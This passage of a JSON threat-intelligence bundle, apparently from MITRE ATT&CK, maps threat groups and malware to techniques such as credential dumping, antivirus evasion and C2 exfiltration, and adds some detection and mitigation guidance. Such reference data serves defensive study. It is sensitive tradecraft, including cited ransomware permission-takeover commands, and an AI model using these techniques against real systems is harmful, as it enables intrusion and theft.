2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)","modified":"2022-04-05T17:26:47.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18f3619c-c1e1-4b2c-b582-2cb5691f02e9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. 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(2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."},{"source_name":"BitDefender Chafer May 2020","url":"https://labs.bitdefender.com/2020/05/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."}],"modified":"2020-05-29T14:02:52.610Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has packed tools with UPX, and has repacked a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) to thwart anti-virus detection.(Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02a629d3-b970-43e8-a11b-79f35107a4c0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto DNS Requests","description":"Grunzweig, J., et al. (2016, May 24). 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Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.525Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) exfiltrated data over its C2 channel.(Citation: Zscaler Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a37825f-2f48-4810-8d5e-a4421d1fe122","type":"relationship","created":"2021-09-07T15:24:47.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. 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Retrieved September 2, 2021."}],"modified":"2021-10-15T14:37:09.462Z","description":"[Crimson](https://attack.mitre.org/software/S0115) uses a custom TCP protocol for C2.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)\t ","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e5efeda7-cfe9-42e3-a015-6cf25071caa5","created":"2022-03-30T14:26:51.835Z","x_mitre_version":"0.1","external_references":[{"source_name":"rowland linux at 2019","url":"https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/","description":"Craig Rowland. (2019, July 25). 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Retrieved October 15, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"On Windows, monitor Windows Task Scheduler stores in `%systemroot%\\System32\\Tasks` for change entries related to scheduled tasks, especially those that do not correlate with known software, patch cycles, etc. On Linux and macOS, all [at](https://attack.mitre.org/software/S0110) jobs are stored in <code>/var/spool/cron/atjobs/</code>.(Citation: rowland linux at 2019)","modified":"2022-04-16T20:39:02.557Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5936bbd-f8cb-404a-bd43-87f7bc836294","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist BlackEnergy Nov 2014","description":"Baumgartner, K. and Garnaeva, M.. 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Retrieved March 24, 2016.","url":"https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}],"modified":"2019-06-24T17:08:51.718Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) has the capability to communicate over a backup channel via plus.google.com.(Citation: Securelist BlackEnergy Nov 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e285f16-a145-46f5-aad3-0ea33392f147","type":"relationship","created":"2019-02-12T18:20:09.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. 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Credentials targeted by [PinchDuke](https://attack.mitre.org/software/S0048) include ones associated many sources such as WinInet Credential Cache, and Lightweight Directory Access Protocol (LDAP).(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--ae9d818d-95d0-41da-b045-9cabea1ca164","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4bd30351-b64b-47cb-897b-951b76ca668b","type":"relationship","created":"2020-10-21T17:10:53.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). 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Retrieved May 26, 2020."}],"modified":"2020-05-26T17:14:42.958Z","description":"[Whitefly](https://attack.mitre.org/groups/G0107) has used malicious .exe or .dll files disguised as documents or images.(Citation: Symantec Whitefly March 2019)","relationship_type":"uses","source_ref":"intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73baa214-fbe6-477e-9beb-d1a08a6d117f","type":"relationship","created":"2020-05-13T13:20:59.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Grim Spider May 2019","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/","description":"John, E. and Carvey, H. (2019, May 30). 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Retrieved October 28, 2020."},{"source_name":"Red Canary Hospital Thwarted Ryuk October 2020","url":"https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ","description":"Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020."}],"modified":"2020-11-10T17:28:19.684Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used macros to execute PowerShell scripts to download malware on victim's machines.(Citation: CrowdStrike Grim Spider May 2019) It has also used PowerShell to execute commands and move laterally through a victim network.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3868dccd-cc1d-49b4-a940-6055a4c65746","created":"2022-03-30T14:26:51.865Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes, that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. 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Retrieved August 26, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html","source_name":"FireEye APT34 July 2019"}],"modified":"2020-11-23T17:35:43.337Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tool named VALUEVAULT to steal credentials from the Windows Credential Manager.(Citation: FireEye APT34 July 2019)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3dbc782c-2030-4b32-9bf7-36c65bc9e749","type":"relationship","created":"2021-02-08T23:18:31.887Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. 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Retrieved January 6, 2021."}],"modified":"2021-02-08T23:18:31.887Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) can use <code>icacls /reset</code> and <code>takeown /F</code> to reset a targeted executable's permissions and then take ownership.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26ecce49-13ab-43a9-a626-10dae30b6961","type":"relationship","created":"2021-09-07T19:31:27.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Siloscape Jun 2021","url":"https://unit42.paloaltonetworks.com/siloscape/","description":"Prizmant, D. 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Retrieved June 9, 2021."}],"modified":"2021-09-07T19:31:27.869Z","description":"[Siloscape](https://attack.mitre.org/software/S0623) is executed after the attacker gains initial access to a Windows container using a known vulnerability.(Citation: Unit 42 Siloscape Jun 2021) ","relationship_type":"uses","source_ref":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6188b02d-e7cb-417a-9093-e2d2eea5883f","type":"relationship","created":"2021-02-10T19:41:52.687Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. 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(2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."},{"source_name":"Medium Anchor DNS July 2020","url":"https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30","description":"Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."}],"modified":"2020-09-11T15:22:21.641Z","description":"Variants of [Anchor](https://attack.mitre.org/software/S0504) can use DNS tunneling to communicate with C2.(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb9706eb-de51-4200-ac38-d7d658f90ea9","type":"relationship","created":"2020-03-25T15:46:35.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub LaZagne Dec 2018","url":"https://github.com/AlessandroZ/LaZagne","description":"Zanni, A. (n.d.). The LaZagne Project !!!. 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This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level..","modified":"2022-04-20T14:26:05.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8a5e73d-fe56-42d7-a53d-09a90c21308b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Buckeye","description":"Symantec Security Response. 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Retrieved December 22, 2020."}],"modified":"2020-12-28T22:09:15.764Z","description":"[MoleNet](https://attack.mitre.org/software/S0553) can use WMI commands to check the system for firewall and antivirus software.(Citation: Cybereason Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--8a59f456-79a0-4151-9f56-9b1a67332af2","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e84791af-7bdb-4fe9-8e03-7a10a154c9a4","type":"relationship","created":"2020-05-19T20:39:12.495Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Gamaredon April 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/","description":"Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."},{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."},{"source_name":"Symantec Shuckworm January 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."},{"source_name":"CERT-EE Gamaredon January 2021","url":"https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf","description":"CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022."},{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."},{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."},{"source_name":"Secureworks IRON TILDEN Profile","url":"https://www.secureworks.com/research/threat-profiles/iron-tilden","description":"Secureworks CTU. (n.d.). IRON TILDEN. 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(2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-12T12:46:57.152Z","description":"[VBShower](https://attack.mitre.org/software/S0442) has the ability to download VBS files to the target computer.(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"malware--8caa18af-4758-4fd3-9600-e8af579e89ed","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62943e4f-a181-4eb2-84a4-27ed3e7308af","type":"relationship","created":"2020-03-19T22:38:12.967Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-19T22:38:12.967Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) collects user credentials, including passwords, for various programs including Web browsers.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c53e4807-05e4-46d2-9cb9-fd6301ac3738","type":"relationship","created":"2020-02-11T18:42:35.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-11T18:42:35.660Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69bff194-c90e-4e30-a369-57da4cff014d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shell Crew Feb 2017","description":"Cylance SPEAR Team. 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Retrieved November 6, 2020."}],"modified":"2020-11-08T23:40:19.634Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can enumerate files and directories on a compromised host.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b98c580-7907-487c-a5b1-202663762c47","type":"relationship","created":"2021-04-14T14:03:30.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Rocket Kitten","url":"https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf","description":"Check Point Software Technologies. (2015). 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Retrieved November 2, 2018.","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html","source_name":"Talos Seduploader Oct 2017"}],"modified":"2020-01-17T22:22:30.735Z","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) uses a .bat file to execute a .dll.(Citation: Talos Seduploader Oct 2017)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9966a850-54b2-41f5-83de-51c066085d72","created":"2020-07-15T19:28:00.688Z","x_mitre_version":"1.0","external_references":[{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. 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Retrieved July 15, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[gh0st RAT](https://attack.mitre.org/software/S0032) has used the `InterlockedExchange`, `SeShutdownPrivilege`, and `ExitWindowsEx` Windows API functions.(Citation: Gh0stRAT ATT March 2019)","modified":"2022-04-15T15:11:48.534Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8427910-3c8f-4633-966f-e1a2a8d7c31c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. 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Retrieved August 11, 2021."}],"modified":"2021-10-04T13:22:55.915Z","description":"[Babuk](https://attack.mitre.org/software/S0638) has the ability to unpack itself into memory using XOR.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: Medium Babuk February 2021)","relationship_type":"uses","source_ref":"malware--61c7a91a-0b83-461d-ad32-75d96eed4a09","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5ecfa68-2027-4dd5-adf0-1eb82463cfc5","type":"relationship","created":"2020-05-21T21:31:34.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Pony April 2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. 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Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)","source_ref":"x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEyeSupplyChain","description":"FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. 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Retrieved June 17, 2021."}],"modified":"2021-06-21T14:32:01.402Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has resized and added data to the certificate table to enable the signing of modified files with legitimate signatures.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40d44aff-2f5f-4494-aa06-4ea1390df453","type":"relationship","created":"2020-01-24T15:11:03.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-02-08T16:39:09.160Z","description":"Enforce execution of only signed PowerShell scripts. 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Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.324Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can exploit Oracle Java vulnerabilities for execution, including CVE-2011-3544, CVE-2013-2465, CVE-2012-4681, and CVE-2013-2460.(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6c274f5-43e1-4f69-a182-0c4ab9d0a5ed","type":"relationship","created":"2020-03-27T21:50:26.217Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-15T23:57:08.234Z","description":"MSBuild.exe may not be necessary within an environment and should be removed if not being used.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--861f1959-eeda-41e3-b8c4-f85c24f1794a","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor network data for uncommon data flows. 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(2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."}],"modified":"2020-11-24T20:07:19.298Z","description":"[BloodHound](https://attack.mitre.org/software/S0521) has the ability to map domain trusts and identify misconfigurations for potential abuse.(Citation: CrowdStrike BloodHound April 